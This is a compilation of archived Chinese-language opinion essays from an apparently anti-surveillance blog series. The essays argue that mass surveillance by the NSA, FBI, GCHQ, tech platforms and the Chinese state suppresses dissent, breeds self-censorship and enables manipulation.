捍卫这一论断涉及微妙的论证过程。最简单的也是大众最为熟悉的比如，几十年前，同性恋还是不可想像的和非法的，如今很多国家在争取同性恋合法化；几年前，大麻还是非法的，而如今大麻合法化的运动正在很多地区获得主流的支持。即使旧的法律能够得到完全的执行，社会也永远达不到大多数公民都认可这些事情的地步 —— 它们必定在一个时期内仍然是非法的，尽管越来越多的人开始接纳，以致人们可以四处看看然后说：“这不是那么糟糕啊”。这个过程需要几十年，但它是一个过程，不可能不违法。

Frank Zappa 在 1971 年就说过：“如果没有偏离常规，进步就是不可能的”。

> *Consistency is the hallmark of the unimaginative. Most people are other people. Their thoughts are someone else's opinions, their lives a mimicry, their passions a quotation. But Society often forgives the criminal; it never forgives the dreamer*

无处不在的监控和完美执法则完全漠视这个社会演进的过程。人类进步需要不完美的“安全系统”，允许人们自由地尝试一些新的事物，就像非正式的头脑风暴能松开束缚、培养创造力。如果不这样做，就无法慢慢将非法或不好变成不确定，再变成可能好，再变成合法。

中国社会之所以几百年来一直在吃权世界的残羹剩饭，从来没能享受过最新最自由的生活方式和思想灵感，正因为其传统和规矩不允许被偏离，人们骨子里就带着循规蹈矩、不可僭越的窝囊。曾经一位欧洲朋友开了个玩笑说，在中国如果你想推荐一个新思想或开创性的观点，最好能引经据典一大堆、再加上举出具体的著名的成功案例，否则没人愿意听你说什么，哪怕这正是真正的创意，能帮助人们走出围栏的前沿思想。

学过一点点历史的人都知道，我们当下所认为的理所当然的自由，在历史上某个时间段内是被大众视为威胁的，在过去的权力结构中被视为犯罪的。如果当局能够通过监视达到控制全社会的目的，这些变化就永远不可能发生。

这就是急需所有人关注新型监控体系的一个重要原因，即使你尚且没有因为它的存在而感到恐惧。如果我们和周围人已经不可能提出新的政治或社会观点，或者采取非常规的行动，所有人都会受到影响。如果胡佛通过监控成功地使马丁路德金保持了缄默，世界上就不会存在马丁路德金这个名字了。

许多非法的事情毫无疑问永远是非法的，比如盗窃、谋杀，尽管完美的执法在极端情况下可能会有不可预见的影响，如果警察可以 24 小时跟踪你的汽车，然后在月底给你一大堆罚单；或者因为你没有定时清除路障垃圾，你所居住的小区的空中监控和摄像头通过人脸识别对你进行自动罚款，这对社会意味着什么？

2004 年，巴尔的摩利用航拍监控，将所有照片和发布许可证的数据库进行对比，以此来寻找“违建”并予以罚款。当时引发了社会全面的轰动和谴责。2018年，中国利用摄像头和人脸识别技术对闯红灯的人自动罚款 —— 在你的手机上弹出罚款单，其引起的轰动和抵制连 2004 年的万分之一都没有。

我曾经说过，中国政府的几乎一切管制手段都是抄袭来的，比原创平均要晚十到二十年，这段时间就是中国反抗者的机会。因为如果你遇到的是“原创”其抵制方法很可能不会马上出现，而等中国人遇到这些恶行时，抵制方案早已成熟。就看你想不想要了。但事实显示，中国人的眼界普遍过窄，很多人并不了解其他国家发生过什么，结果就是人们误以为中国当局才是那个“原创”，从而连借鉴反抗技巧的机会都失去了。

如今《少数派报告》中讽刺的预测犯罪系统已经成为了现实，中国也已经学到了这种技术并进入了测试阶段。距离老大哥和思想罪的世界只有一步之遥了。

有一点中国政府永远也学不会，那就是哈佛大学法学教授 Yochai Benkler 所言：“缺陷是自由的核心纬度”。而所有想要自由的中国人，都应该明白这个最基本的道理，以及如何去得到你的自由。

—— 未完待续 ——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关

系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

“冰河”已在你心里，这就是他们的目的 —— 监视之恶（三）历史和现实，拆穿谎言 - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月14日存档】从一开始对失去自由的抱怨，但不久之后便习以为常了。当这种深度入侵行为成为常态后，自我审查也成了常态，人们趋向的不是激愤，而是麻木。

反对政府对隐私权的侵犯是美国建国的主要原因之一。因为美国殖民者当初反对法律规定的英国官员可以随意闯入任何民宅。美国殖民者后来同意让政府合法获取具体的指定搜查证，以针对有证据表明已作出不轨行为的人进行搜查。但是对全体公民不加区别地进行全面监视势必是非法的。

美国宪法第四修正案对此有言简意赅的体现：“人民的人身、住宅、文件和财产有不受无礼搜查和扣押的权利，不得侵犯。除按照合理根据，以宣誓或代誓宣言保证，并具体说明搜查地点和扣押的人或物，不得发出搜查和扣押状”。最重要的是，该修正案旨在在美国永久性废除政府针对毫无嫌疑的公民进行大范围监控的权力。

这是有原因的。

在18世纪，监视行为发生的冲突主要集中在房屋搜查，可是随着科技的发展，监控的形式也随之升级。在19世纪中叶，铁路线的飞速发展，使得快速便捷价格低廉的邮政服务成为可能，英国政府出现了私拆邮件的行为，因此导致了英国的一大丑闻。在20世纪最初的几十年间，美国联邦调查局的前身美国调查局使用窃听装置、邮件监控和告密人员，对反对政府政策的人士予以镇压。

历史上的大规模监控都具备若干固定的特点。首先是政治异议和边缘人士会第一个中招，导致支持政府的人们或对政府漠不关心的人们会误以为自己与此无关。但历史事实表明，大规模监控的存在，无论政

府是否使用，都足以对所有人产生震慑作用 —— 当公民意识到自己处于监视之下的时候，自然会主动表现俯首帖耳，心有戚戚。

20世纪70年代，对联邦调查局的监控调查结果已经足够令人惊讶，该机构仅从政治信仰出发就将 50 万公民贴上了潜在“危险分子”的标签，并长期对其进行监视。监视名单从 马丁路德金 Martin Luther King 到摇滚音乐家约翰列侬 John Lennon，再到女权主义者以及反对共产主义的约翰伯奇协会 John Birch Society，非暴力政治异议组织等都有涉及。

在过去的十几年间，他们再次集中监视反战活动家、非暴力异议团体，以及美国穆斯林。

监控滥用并非仅仅出现在美国历史上，恰恰相反，大规模监控往往是无耻势力的普遍企图。威权政府几十年来都是这么做的，比如苏联、东德、阿根廷、古巴、中国、朝鲜等。

在任何情况下，大规模监控的动机都如出一辙：镇压异议、强行要求众人言听计从。

“冰河”是在你心里的，这就是他们的目的

权威机构在面对社会动荡局面时通常有两种选择：通过象征性的让步安抚民心，或者是加强控制，使其对利益的损害最小化。大多数政权在大多数时候都会看中后者，尽可能强化自己手中的权力，维护自己的立场和地位。

美国历史上不论是右翼的茶党抗议还是左翼的占领华尔街，民意调查都显示，民众对政治阶层和社会发展方向有着强烈的不满。当权者用武力镇压抗议活动，催泪瓦斯胡椒粉，无所不用。紧接着，各种准军事化行为在各大城市竞相上演，与巴格达街头荷枪实弹的警察镇压和平示威者的性质如出一辙。这一策略旨在形成震慑，令人们不敢上街抗议，而且一般情况下这招效果很明显。更大层面的目标是给人们植入这样一种观点：“面对如此大规模的和无孔不入的机构，此类抗议全然无效”。

这就是近年来社会运动出现严重下跌的一方面原因。Manning 出狱后惊讶地看到了满街的武装警察，她说“我并没有出狱，只是进入了一个更大的监狱”。

89 后的中国基本与此完全一样。天安门的镇压并不只有对一群饥饿

抗议的学生实施了大清扫，更有对他们的后辈们甚至前辈那些幸存者，实施了意识植入。正如你所看到的，中国社会开始信仰闷声发大财，大部分反抗思维都会面对嗤之以鼻或者所谓“过来人”的轻蔑。

这个政权在人们心目中的印象已经变成了撒旦，这不仅仅是意识到了它的邪恶，更有畏惧它的力量。风靡中国异议群体的“冰河时代”论就是其最典型的体现。当权者每公布一款新的管制措施，都会给虚无主义者们增添一份心安理得。

无所不在的监控体系可以实现相同的目的，甚至有更为强大的震慑作用：当政府在密切监视人民的一言一行时，仅仅是组织反抗运动都会变得难上加难。必需强调的是，大规模监控最为邪恶的一面是它对异议的扼杀 —— 在思想层面上，大众已经被训练成为只会照章办事的循规蹈矩之徒。

每一条管制措施出台后都在每个人心头画上了一道线，每一项监视技术的推出都在每个人的脚下加了一把锁，社会被一步步推向绝望和虚无。然而为什么没人去思考，线是可以擦除的，每把锁都有钥匙，只要能找到，就可以解放自己。但依旧有人安然于自我描述的牢笼，回避和妥协，路就这样被切断了。

这就是被流行了的“冰河”论之起源。我们称之为“自杀式悲观”，悲观主义就如同一场威力无比的自杀式炸弹袭击，令主张者及其周边完全陷入虚无。

> *“When it comes to dreams, one may falter, but the only way to fail is to abandon them.” — NBC Dracula*

当装傻成为品质，愚蠢就是结局

无疑，集中化的高压控制才是政府监控之意图和效果追求之所在。

好莱坞著名编剧 Walter Bernstein 在麦卡锡时代就被列入了黑名单，长期受到监控，被迫匿名写作，他曾生动地记录了由于意识到自己受到监控那种难以忍受的自我约束：“这种情况让人完全失去了创造力，思想无法再自由奔涌。你总是会感觉到这样也不行、那样也危险……我认为当时大家的普遍思想就是都觉得不该拿自己的性命冒险……”。

这样的时期是不会有任何优秀作品出现的。

美国笔会中心 2013 年 11月发表过一篇题为《令人心惊的效果：国安

局监控导致美国作家自我审查》的报告，该机构对国安局泄密事件对其成员的影响进行的调查，结果发现，很多作家都在认为他们之间的交流受到了监视，并对自己的行为言谈做出了调整，此举“导致他们的表达自由受到了剥夺，并限制了信息的交流”，有 24% 的接受调查者直接回避了某些话题的提问。

Snowden 也许想到了这个结果，但相比继续隐瞒，揭露才是正途。公开真相是一切邪恶的解毒剂（吸血鬼会见光死，这个传统故事不是没道理的），因为政权在阴暗的环境下会变得肆无忌惮，公开就是还回公民的监督权，强大的制约力量将成为促使其收敛的希望。至于结果如何，还要看政体的本质—— 威权政体不在乎民意，对不同意见一概采取压制的方法；寡头政体也一样，上推早的中国网友应该记得，每当选举之前”deep state”都是热词，其实指的就是 Oligarchy（寡头政治）。上世纪90年代初开始，民意的效用越来越差，含蓄些的说法就是 Richard Stallman 所说的那样，“新自由主义的资本主义”，富豪阶层通过游说收买政治家来控制法律，这就是为什么大规模监控被揭露后非但没能激发足以变革的社会运动，反而刺激出诸多自我审查。

自我审查的表现就是装傻，它几乎无法避免，当社会看起来很“和谐”的时候，就是监视之恶效用最大化的时候。

早在 1975 年，斯坦福大学的心理学家 Gregory White 和 Philip Zimbardo 就通过实验验证过这一结论，他们合作的题为《监控的可怕效果》的实验一直是心理学领域的经典研究之一。此项研究的动力正是美国人对政府监控行为所产生的顾虑。实验报告中写道：

> 水门事件丑闻、白宫窃听行为的曝光以及国会对中情局的国内监视的调查均强化了美国人生活中的恐慌：“老大哥正在盯着你呢！” 国家数据库的提议、城市警方对监控直升机的使用、银行和超市还有大街上各种各样的摄像头、机场对个人和财务的安检，都是我们的私生活正在遭到日益严重的侵犯的标志……

这些东西如今在中国全都有了，虽然都是抄来的，但抄得很全面。本网曾发表过一篇文章题为《为什么中国社会看起来很傻》，它还应该有另一个姊妹篇《为什么中国人更喜欢装傻》，群众斗群众的“传统”和大规模监控的新科技都是造成人们下意识装傻的重要原因。

中国人说，“会装傻才是真聪明”，这句话不仅仅是对油滑世故之处事方法的描述，更暴露了该社会特有的一种深入人心的变异价值观，即人们将话说一半、打擦边球蒙混过关视为能力的象征。可惜，该价值

观带来的并不是什么聪明，而是为避免与当权者发生正面冲突的自我审查、以及反抗精神被割除后的愚蠢。

多年前曾经有一个芬兰的研究试验，对监控行为进行了极端的模拟：在研究对象的家中（除了卧室洗手间之外）的各个角落安装了摄像头，所有电子邮箱都受到了跟踪。该实验的邀约广告在社交媒体上满天飞，但最终只凑到了不足十个愿意参与实验的家庭。

该试验得出的最可怕的结论并不是上述那些，而是研究对象的反应：从一开始对失去自由的抱怨，但不久之后便习以为常了。当这种深度入侵行为成为常态后，自我审查也成了常态，人们趋向的不是激愤，而是麻木。这正是当下中国社会在发生的事。

拆穿谎言

1969 年《时代周刊》曾发表过一篇很有名的报道，描述美国社会对政府的监控力量日益忧心忡忡。该文章引起广泛的共鸣，当时尼克松的司法部长 John Mitchell 安慰读者说：“任何没有涉嫌非法活动的美国公民都没什么可担忧的”。

这话听起来很熟悉吧？与中国政府对监控的解释基本完全一样。事实上，每一个当权者都会这样为自己的侵犯行为辩护。2005 年布什为授权非法监听而面临争议时他的解释也是如此，“我们在监视穷凶极恶的坏人”；奥巴马在 2013 年被问及对国安局泄密有何看法时也说了同样的话，“我们是为了跟踪恐怖分子”……

不幸的是，这种没什么水平的谎言套路却博得了不少人的信任，导致了大众对权力滥用的默许，甚至有人为之喝彩。极大地误解了权威机构的真实目的。

在权威机构眼中，“行为不轨”远不止非法行为、暴力行为或恐怖阴谋，还包括抱有意图的异见者和任何真正意义上对权力的挑战。这就是权威的本性，无论是政府、宗教还是家族，都是如此，他们将不同意见和行为不轨划等号，视之为一种威胁。

政府会条件反射地将一切挑战权力稳固的社会不同意见均视为“图谋不轨”。

联邦调查局的国内反情报项目 COINTELPRO 首先被一群反战斗士所发现，他们已经感到了针对反战者的监控的无所不在，而且很多卑劣的手段。由于缺乏相关文件证据，加之没能说服媒体跟进报道，他们

于 1971 年闯入联邦调查局在宾夕法尼亚的分支机构，带走了数千份文件。

COINTELPRO 的相关文件显示了联邦调查局是如何针对它认为的具有颠覆性或危险性的政治组织和个人采取措施的，其中包括美国有色人种协进会（NAACP）、黑人民族独立运动、社会主义和共产主义组织、反战示威者以及右翼组织。在其中安插暗探，乃至通过暗探操控这些组织的内部成员，故意让他们触犯法网，然后堂而皇之地提出指控。

联邦调查局成功说服了纽约时报，使其扣押了这些文件甚至予以交还，不过华盛顿邮报还是发表了一系列文章进行曝光。正是这一泄密促成了参议院丘奇委员会的成立（Church Committee）。

COINTELPRO 在一份关键性的备忘录中写道，“……这就会在反战斗士中撒播下偏执妄想狂的种子，使其认为在每个邮箱背后都藏着联邦调查局的密探”。这样，持不同政见者则会以为自己正处于监控之下，出于恐惧心理，他们就会对自己的想法和行为有所收敛……

这正是监控的目的。它奏效了 —— 把“冰河”放进你心里。2014年，在一部很有名的纪录片《1971》中，若干反战者描述了 Hoover 领导的联邦调查局如何无孔不入地渗透和监听民权运动，所有参加集会的人都被记录在案。

这些监控手段阻碍了民权运动继续组织并发展壮大的能力。

伊拉克战争是在美国舆论界最具争议的话题之一（链接指向关于这场战争的最新的报道中文版），民间反战的声音越来越强烈，2006 年美国公民自由联盟表示：“我们手中的文件的最新细节显示，五角大楼掌握着所有反对伊拉克战争的美国人的信息，包括贵格会和学生组织在内”。五角大楼通过收集这些信息并储存在军方反恐数据库中，以“密切监视非暴力抗议者”。

美国公民自由联盟注意到的一份标注为“潜在恐怖活动”的文件中，俄亥俄州阿克伦的“立刻停战”这类集会也榜上有名。

目前已经众所周知的是，互联网思想警察愈加猖獗，扼杀信息自由的审查从“四骑士”增加到“六骑士”，恐怕还会不断增长，上面链接仅举一例。下篇文章将详细介绍为什么热门的“互联网反恐”主张其实质只是思想警察，而对反恐的目的几乎起不到任何作用。

美国自由公民联盟法务总监 Jameel Jaffer 曾指出，国安局数据库中“存有你的政治观点、病史、亲密关系和网上活动，等信息资料”，国安局称“这些信息不会被滥用”，但这些信息本身足以显示，国安局对“滥用”的定义非常之狭隘：国安局在历史上曾应一位总统的要求，“使用监控结果打击政治对手、媒体记者或者人权斗士”。**Jaffer** 说，如果认为该机构不会故伎重演，未免太天真了。

当权者可以滥造任何词汇、扭曲任何既有概念，比如 “附带伤害” 这个词其实就是为杀戮辩护、认为平民死不足惜；“科学加密” 就是开后门让情报部门随便溜达你还以为自己在使用加密；“网络安全” 被变成了安检、被要求一切都在当权者的监视之下；“假新闻 / 谣言” 基本等于当权者认为“这话我不爱听”…… 每一种政治宣传都旨在让你顺应当权者的利益。

国安局为了打击为 Manning 声援的匿名者组织，生造了一个词叫“激进黑客”，这个大口袋能把所有会技术并有正义感的人全装进去。

匿名者组织并非结构化的组织，而是与某一观点相关的来自全世界的松散的一群人。国安局锁定如此宽泛的概念，相当于只要政府认为“存在威胁”，就可以对在美国境内的任何地方的人进行监视。

麦吉尔大学的 Gabrielle Coleman 是研究匿名者黑客组织的专家，他指出这些人是以数字化非暴力反抗的名义聚集在一起的，大多数人不过是进行普通的政治表达而已，“激进黑客”的概念相当于对表达自己的政治信仰的公民予以控制，结果只是导致持不同政见者遭受打压。

这些监视者是怎么做的？英国国家通信情报局（GCHQ）在2012年的 SigDev 大会上展示的一张幻灯片（见下图）描述了针对异议目标群体的两种攻击形式：“信息作战”、和“技术破坏”。**GCHQ** 称之为“在线转化行动”，其目的被称之为 **4D**：**Deny** 否定**, Disrupt** 破坏**, Degrade** 贬损**, Deceive** 欺骗。

另一张幻灯片还介绍了“令其名誉扫地”的战术 – 就是抹黑（见下图），包括：设下美人计、替换他们在社交网络上的照片、撰写博客文章声称是他们的受害者、以及向他们的邻居 朋友 同事 发送邮件或短信。

以上图片来自独立媒体 “the intercept”，更多信息：https://theintercept.com/2014/02/24/jtrig-manipulation/

这家英国监控机构还利用包括心理学家在内的一组社会学家，开发在

线人工智能技术（UMINT）以及“战略影响破坏技术”。一份题为“欺骗的艺术：培训新一代在线转换作战”的文件就是专门讲这个的。这是该机构的人类科学运作单元（HSOC）编写的报告，文中称：利用社会学、心理学、人类学、神经系统科学、生物学等诸多领域的知识，可实现英国国家通信情报局的在线欺骗技术的最大化……

哈佛法学教授 Cass R. Sunstein 是奥巴马身边的一位顾问，也是白宫信息和监管事务局前主任，同时也是白宫委员会任命的审查国安局行动的人。该顾问于 2008 年撰写了一份颇具争议的报告，建议美国政府安排诸多秘密特工和假冒的“独立”倡导人，有意识地渗透到在线组织、聊天室、社交网络、网站，以及线下激进活动人士的组织中！

这是对心理学、社会学等人文学科知识最无耻的使用方案。这些学术本身是无辜的，它们原本可以实现对社会和人群更有益的目的。知识就摆在那儿，你无法否定某一个政权不会去使用它们达到自己的目的，上述只是被曝光的之一罢了。

也就是说，只要监视存在，当权者凭借自己的标准盯上你了，你和你的朋友、网络联系人、参与同一话题的人，将无可避免地遭受上述这般恶劣的侵犯。那些政权的拥护者会就此辩解“没有证据的情况下，那就是别的国家的事”。好吧，在中国发生过什么的确没有证据，目前为止，但你能看到遍地的摄像头、被宣传出来的举报人、被大举投资的人脸识别技术，每个人都明白监视的存在和侵入之深，任何一个拥有人格独立的公民都不应该为了免遭国家监控而被迫对政权俯首帖耳，为了所谓的平安度日将自己、亲人和子孙后代变成老大哥的傀儡。

想估测下中国政府监控的伤害性吗？请将上述全加起来，再乘以十。

—— 未完待续 ——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》

- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

“计算机和狗”之辩，为什么要批评美国？——监视之恶（六）破解荒唐的狡辩（上） - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月17日存档】任何太过了解你的人都可以控制你，以达成令他们满意的目的。而监控的目的并不是 is watching 这么简单，而是为了有利于操纵。

2013 年，洛杉矶唯一神教会起诉 NSA 在国内展开间谍活动，监控教会成员的通话，阻止他们团结起来共同发展政治事业。这是一次很有名的对大规模监控行为的正式起诉。五六十年代的时候，联邦调查局曾因该教会牧师的政治观点而对其进行监控。这次起诉是因为教会担心不论是美国公民还是外国人，都会因与教会的关系而被纳入政府的监视名单。

大规模监控，这是一桩除了当权者的贪婪之心外无人受益的买卖。政府监控成本高昂，以美国为例，几年前的数字就是每年大约 720 亿美元（这应该还没算上最新开发出来的各种后门技术及其使用）。哈佛大学法学教授 **Yochai Benkler** 将大规模监控必做是一直自身免疫系统疾病，因为它会攻击整个身体的所有系统，直到全面衰竭。这个类比简直太贴切不过了。

人民付出的最大代价就是人权 —— 自由的基本权利，风险如此真实，以至于越来越多的人们抛弃了自身政治意识形态差异，也要团结起来反对政府的全面入侵和无处不在的监控系统。在美国，即便是政治上的保守派也纷纷站起来谴责。中国呢？我们一直在期待能有更多人开始拒绝继续装傻。

然而至今仍有人为当权者辩护，他们使用的理由有哪些？看起来如此强悍的理由，为什么说它们都是错误的？本文（上下两篇）选取其中最为常见的几个错误理由逐一分析。

一、计算机和狗的区别 —— 算法监控

你一定经常听到这样的话：大规模监控使用的是算法而非人进行监控，所以它不会损害我们的隐私。这是完全错误的，但该理由非常狡猾。

因为是由人类还是计算机来进行监控，这种区别在政治上很重要。于是它也是情报机构最常使用的文字游戏之一。在 Snowden 泄密之后，根据国防部的解释，“搜集”这个词有非常特殊的意义，它并不意味着搜集这一过程，它只是意味着有人在看或分析数据。（国防部甚至告诫不要考虑和使用准确的词。链接中‘程序 2’介绍了国防部 5240.1-R 的第一次进入‘迷宫’的规则，要开始旅程，首先要停下来，调整你的词汇量……）

2013年，情报总监 James Clapper 将国安局搜集和积累的数据比作“图书馆”，所有这些书都摆在书架上，但实际上很少有人去读（这里指向采访记录）他说，“我们执行维护安全、公民自由和隐私利益的任务，就像走进图书馆，按照需要寻找我们想要打开并阅读的书籍一样”。

这就是为什么 Clapper 坚称他在参议院听证会上没有撒谎，因为他对“国安局是否搜集了数亿美国人的数据”这一问题，给出的答案是“NO”。从军事角度上看，直到有人来查阅这些数据才能算是“监控”，即使国防人员或承包商开发执行的算法已经分析了这些数据许多次。

如今依旧有人信任这一偷换概念的谎言，是因为，它曾经被宣传性地表达。甚至直到最近的几天前，还有人在为 Facebook 的算法辩护：“机器控制的、只为匹配广告”。

早在 Gmail 早期，也就是谷歌为了 Gmail 的关联性广告进行辩护的时候，他们就使用了这一谎言。谷歌公司的计算机检查每个人的电子邮件，并在页脚插入内容相关的广告。没错，这一过程是由计算机完成的而非谷歌员工。谷歌公司的高管将其解释为：“担心计算机读取你的邮件就像担心一条狗看到你的裸体一样”。

但事实完全不是如此。

狗就是偷换概念的类比。当你被一条狗注视时，有三个理由可以让你不去在意：狗不理解并不会处理它看到的内容，但人会这样做；狗不会记得它看到了什么，即便记得，其之后做出的决定也不会基于它到的内容，但人会这样做；狗不会告诉其他人或其他狗它看见了你的裸体。

当你被计算机监控的时候，计算机一直在处理它看见的内容，并在此基础上进行操作。这和狗完全是两码事。一旦计算机储存你的数据就完全可能被暴露，不仅骇客和犯罪分子会入侵盗取你的数据，拥有你的数据的任何组织都会随时用新的方式进行使用，或出售给其他组织。世界上没有任何法院能从一条狗那里得到关于你的裸体的描述，但完全可以从数据中间商那里得到。

在监控这件事上，计算机和狗主要区别在于，计算机能与其他人通信而狗不能，至少狗无法很好地与其他人交流；计算机算法是由人编写的，输出结果也能为人所用，当我们意识到计算机算法监控我们并分析我们的个人数据时，你需要认真考虑算法背后的那些人。不论是否有人看过那些数据，也无法否认事实：**1**、他们能看；**2**、他们对算法作出指引，使其能够实施监控。

如果你相信谷歌或者 Clapper 或者他们的支持者的谎言，你就不会反对在你家卧室里安装摄像头，只要警察在调取录像时有规则约束就可以了；只要庞杂的监视器遵循那些规则，你就不会反对 24 小时戴着政府的监听设备。

如果你反对上述做法，是因为你能意识到隐私伤害来自自动搜集和算法分析，而不考虑是否有人直接卷入这一过程。

Google 在去年 7 月宣布将停止为了个性化性广告的目标而扫描消费者的电子邮件内容。然而，最新的消息是，Google 发言人 Aaron Stein 称， 该公司仍然会自动的从用户的 Gmail 账号里提取关键词数据，然后将数据输入机器学习程序和 Google 家族的其它产品。

别用 **Gmail** 了，再次提醒。

二、“广告无所谓” —— 基于监控的操纵

至今仍有不少人一谈及数据收集就想到广告，一想到广告就觉得大规模收集无所谓，无伤大雅，甚至“为人们提供了很多便利”，你看亚马逊能比你自己更快速且精准地找到你“最有可能喜欢”的商品，是不是让它收集你的数据能为生活带来便利呢？（上面链接是“亚马逊的 big brother 技术”）

完全不是。这样的错觉依旧和媒体的宣传有关，在日前关于 Facebook 的数据丑闻中有很多媒体将广告投放（也就是扎克伯格的自辩之词）放在在首要位置上。这是一种误导。（两个链接指向更多具体分析和新闻）

本网经常强调：别让陌生人太过了解你。这可不是有意在消解社会互信，要知道，“了解”和“太过了解”完全是两码事。

任何太过了解你的人都可以控制你，以达成令他们满意的目的。而监控的目的并不是 **is watching** 这么简单，而是为了有利于操纵。

当你浏览 Facebook 上的馈送广告时，你并没有看到所有“朋友”贴出的所有广告，你所看到的广告是经过未公开的自动算法筛选出来的。但是人们可以通过付费来增加被看到的可能性。与此类似，在新闻页面底部的附加文章的许多链接都是付费放置的。

这里面的操纵潜力巨大。仅举一例，2012年的美国大选期间，Facebook 用户放置了一个“我投票 I Voted”的图标，就像许多人在投票后得到真正的标签一样。首先存在从众效应，如果你认为你的朋友正在做某件事，你也会倾向于去做同样的事。事实显示，当年的选民投票率增加了 0.4%。这是该操纵最好的结果。但是，你有没想过，如果**“I Voted”**图标的可见性基于某一个党派或其代理：居民的邮编、博客链接、**URL**等等，其结果就是增加竞选中某一方的投票率，而削弱了另一方。

这种手段甚至很难被监测出来，并且，目前为止都不是非法的。

不仅 Facebook、Google，所有巨头都可以通过这样的选择性操纵 —— 哪些信息被更多用户看到，而轻易地影响选举结果。Google 的搜索引擎更容易对此实施操纵，因为人们也许会怀疑自己的朋友，但不会怀疑搜索引擎。

相比下这只是操控的一个小儿科级别的模拟，这些巨头是可以做得更大的。几个月前，Google，Facebook 和 Twitter 与墨西哥全国选举机构（INE）签署了协议，相当于一场大规模的运动，试图操纵7月1日大选的结果。墨西哥是全球排名第十的人口大国。

这些平台（Google，Facebook 和 Twitter）凭借其不受限制的权力将重要网站降级并将其列入黑名单，这些平台正在努力隐藏和伪造其中一位候选人 Meade 的右翼记录，Meade 因其在私有化该国石油并将汽油价格攀升 20% 这一热点事件中的所起的关键作用而广受诟病。然而美国希望他当选。（上面链接指向详细报道中文版）

所以在人们着眼于谴责剑桥分析公司时（当然它太值得谴责了）而我在提醒，切勿忽视 Facebook 本身的操纵能力。并非是如国会听证会之重点所示：为什么要泄漏用户数据给剑桥公司，而是这些监视资本

主义者自己就能实施剑桥公司同样的操纵民意的能力。

这也是监视之恶最值得警惕的部分之一：监视资本主义正在毁掉民主。

通过放大支持者的声音、抑制反对者的声音，这些数字巨头能够严重扭曲公共舆论，如通过网络评论员在做这样的事：由政府雇佣的评论员在社交网站上发布支持的评论，对反对提出质疑 —— 中国人应该非常熟悉这种做法，中国政府对网络水军的利用让你几乎看不到反对意见。艾未未先生在 2012年就揭露了这件事（链接指向艾未未的具体采访报道）。三星也做过同样的事（这里链接指向具体报道）。

我们都知道，人的选择源于他知道些什么、他的认知面决定了他的行为。许多公司根据你的用户配置文件来操纵你能看到什么，比如谷歌搜索、雅虎新闻、甚至在线报纸如纽约时报。这是一笔超大额的交易。

因为位于谷歌搜索第一页中的内容会获得三分之一的点击率，如果没有出现在第一页，基本就等于不存在了。其结果就是，你所看到的互联网会越来越根据你的固有认知/好听点的说法是兴趣爱好，而进行剪裁过滤后的结果。于是这就导致了一种严重现象的出现：政治活动家 Eli Pariser 称之为“过滤器泡泡”（Eli 大概是第一个发现这种问题的人）。

多年前我曾经批评这种现象，它让互联网人无法进步、变得越来越偏执、社会停滞不前，并根据它写过一个讽刺性的科幻剧本。当然没机会拍摄出来，正如你所知道的，没有制片人愿意得罪腰缠万贯的巨头们。

我最近再次遇到了过滤器泡泡导致的偏执，无法沟通的现象，人们固执的认定自己的原有结论，完全无视给出的事实。我几乎不需要发表任何个人观点，仅仅摆出事实就能有效地反驳，但为什么人们无视事实呢？这肯定不是我一个人的印象。很多人都会有这种感受，为什么在互联网上能遇到如此多的偏执？为什么人们南辕北辙，真相无法扭转偏见？很简单，因为算法对不同人施加着不同的操纵，操纵已经成功，人们倾向于认为“自己所看到的”内容才是正确的，而非其他人提供的补充内容。但从来不会思考，是有目的的算法在引导你所能看到的东西。

没人想生活在这样的社会里：所有人只能被加强固有的观点，无法自发地遇到提升自己的机会、遇到能教诲我们的事情。这样的社会就是

僵尸之国了，没有进步、没有改善、没有因全面洞察而形成的有意义的投票决策，民主死了。

2012 年，Facebook进行了一项实验：它有选择性地控制了68万个用户的新闻推送，向他们展示或快乐或悲伤的状态更新 —— 正因为 Facebook 一直在不间断的监视用户，他们能很轻易地知道你的偏好。实验的结果是，看到快乐的帖子的人倾向于编写快乐的帖子，反之亦反之。这项实验出现在媒体报道中的时候所引发的舆论基本都是“wow”，而不是害怕，事实上直到如今人们仍未能充分了解到这些实验所展示的互联网巨头的操控能力之恐怖。

几年前就已经出现了这样的东西，系统通过分析人们的声音和肢体语言来判断他们的情绪，一家公司想要更好地判断客户什么时候变得沮丧，什么时候就是最有利可图的销售时机。操纵用户情绪能更好地销售商品，当然也能更好地销售洗脑观点 —— 在政治活动中使用监控数据将产生独特而严重的危害。

这就是为什么近年来持续的呼声就是：重新回归互联网最初的去中心化。如果系统是集中式架构，操纵就会变得非常容易。

像谷歌、Facebook 这些公司如今早已处于所有人生活的中心位置，这就给了他们巨大的权力对我们所有人进行操纵。

我多次警告：不要使用任何在线心理测试小游戏。就是这个原因。你根本不可能知道你填写的答案将被用于什么目的，将被与哪些其他数据相结合实现非同寻常的目的，但有一点是绝对清楚的：它将被用于对你实施心理操纵，它将让你得出自己原本不想要得出的观点、做出原本没想过要做的选择，你已经变成木偶了。

「图」

三、“你是中国人不能批评美国” —— 为什么需要首先批评美国？

